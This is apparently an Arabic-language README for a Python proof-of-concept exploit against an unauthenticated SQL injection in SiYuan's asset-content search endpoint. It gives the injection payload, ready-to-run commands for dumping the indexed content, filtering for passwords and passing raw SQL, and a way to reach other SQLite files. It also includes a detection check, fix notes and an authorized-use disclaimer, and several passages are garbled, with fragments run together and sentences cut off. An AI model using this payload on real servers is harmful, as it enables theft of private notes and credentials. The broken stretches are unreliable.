
Python PoC لثغرة CVE-2026-69083، وهي حقن SQL غير مصادَق عليه في نقطة البحث في محتوى الأصول في SiYuan. يدعم الخروج عبر REGEXP وتمرير SQL خام لتفريغ الأصول المفهرسة وبيانات SQLite المرفقة.
حقن SQL غير مصادق عليه في SiYuan (تطبيق قاعدة معرفة مبني على Go) عبر نقطة نهاية البحث في محتوى الأصول.
يقوم POST /api/search/fullTextSearchAssetContent ببناء جملة SQL خام عبر دمج قيمة query التي يتحكم فيها المستخدم مباشرةً داخل عبارة REGEXP دون أي تهريب (kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
علامة الاقتباس المفردة في query تخرق الحرفية النصية (CWE-89). عندما يُنشر SiYuan بدون رمز مصادقة وصول (Conf.AccessAuthCode == ""), تعامل النواة بأكملها المتصلين كمسؤول دون أي بيانات اعتماد، لذا يكون الحقن غير مصادق عليه بالكامل. هو كسر REGEXP؛ بينما يضيف تمرير كجملة SQL خام.
method:3method:2query< 3.7.36806 (غير مصادق عليه عند عدم تعيين accessAuthCode)ATTACH DATABASE إلى ملفات SQLite أخرى) — مثلاً تفريغ بيانات الاعتماد التي فهرسها المشغلون في الملاحظاتمكتبة Python 3 القياسية فقط — لا توجد اعتماديات.
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
الحمولة الافتراضية هي:
query = "zzqx') OR 1=1 -- "
zzqx') تُغلق مجموعة (name REGEXP '...',OR 1=1 تجعل عبارة WHERE صحيحة دائمًا,-- تعلّق بقية السطر، بما في ذلك الجزء الختامي AND ext IN <types> — والذي يمثل خطأً نحويًا بخلاف ذلك عندما تكون types فارغة (يصدر SiYuan AND ext IN دون أي شيء بعده، وتُعيد النواة بلا صفوف بصمت عند حدوث خطأ SQL).ثم تعيد نقطة النهاية كل صفوف فهرس محتوى الأصول، وتطبع الأداة content لكل صف.
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
مثيل SiYuan على المنفذ 6806 يُحمَّل بدون رمز مصادقة وصول ويكون قابلاً للاستغلال.
... REGEXP ?) ويقيّد مسار SQL الخام للطريقة الثانية خلف فحص صلاحيات المسؤول.--accessAuthCode؛ ولا تعرضه أبدًا دون مصادقة — فبدون رمز مصادقة الوصول تكون واجهة النواة بأكملها مفتوحة للمسؤول.لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.